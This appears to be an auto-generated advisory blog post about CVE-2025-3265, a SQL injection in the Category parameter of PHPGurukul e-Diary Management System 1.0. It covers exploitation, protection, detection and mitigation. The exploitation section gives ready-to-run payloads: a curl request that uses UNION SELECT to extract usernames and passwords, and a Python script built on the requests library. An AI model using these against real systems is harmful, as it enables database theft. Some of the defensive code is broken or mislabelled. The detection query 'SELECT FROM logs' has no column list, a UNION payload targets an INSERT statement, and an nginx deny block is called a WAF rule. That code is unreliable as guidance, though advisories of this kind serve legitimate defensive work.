How CVE-2025-3265 Works
This vulnerability exists in the `add-category.php` file of PHPGurukul e-Diary Management System 1.0 due to improper input sanitization of the `Category` parameter. Attackers can inject malicious SQL queries through this parameter, leading to unauthorized database access. The flaw allows remote exploitation without authentication (PR:N). The SQL injection occurs because user-supplied input is directly concatenated into SQL statements, enabling attackers to manipulate queries, extract sensitive data, or execute arbitrary commands on the database server.
DailyCVE Form
Platform: PHPGurukul e-Diary
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/07/2025
What Undercode Say:
Exploitation
1. Craft Malicious Payload:
' OR 1=1--
2. Exploit via Curl:
curl -X POST "http://target.com/add-category.php" -d "Category=test' UNION SELECT username,password FROM users--"
3. Automated Exploit (Python):
import requests
target = "http://target.com/add-category.php"
payload = {"Category": "test' UNION SELECT 1,@@version--"}
response = requests.post(target, data=payload)
print(response.text)
Protection
1. Patch: Apply vendor updates.
2. Input Sanitization:
$category = mysqli_real_escape_string($conn, $_POST['Category']);
3. Prepared Statements:
$stmt = $conn->prepare("INSERT INTO categories (name) VALUES (?)");
$stmt->bind_param("s", $_POST['Category']);
$stmt->execute();
4. WAF Rules:
location ~ add-category.php {
deny all;
}
5. Log Monitoring:
grep "add-category.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"
Analytics
- CVSS 4.0: AV:N/AC:L/PR:N/UI:N (Network, Low Complexity, No Privileges)
- Attack Vector: Remote
- Impact: Data Confidentiality (High), Integrity (Medium)
Detection
SELECT FROM logs WHERE url LIKE '%add-category.php%' AND request LIKE '%UNION%';
Mitigation
- Disable `add-category.php` if unused.
- Implement rate-limiting:
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j DROP
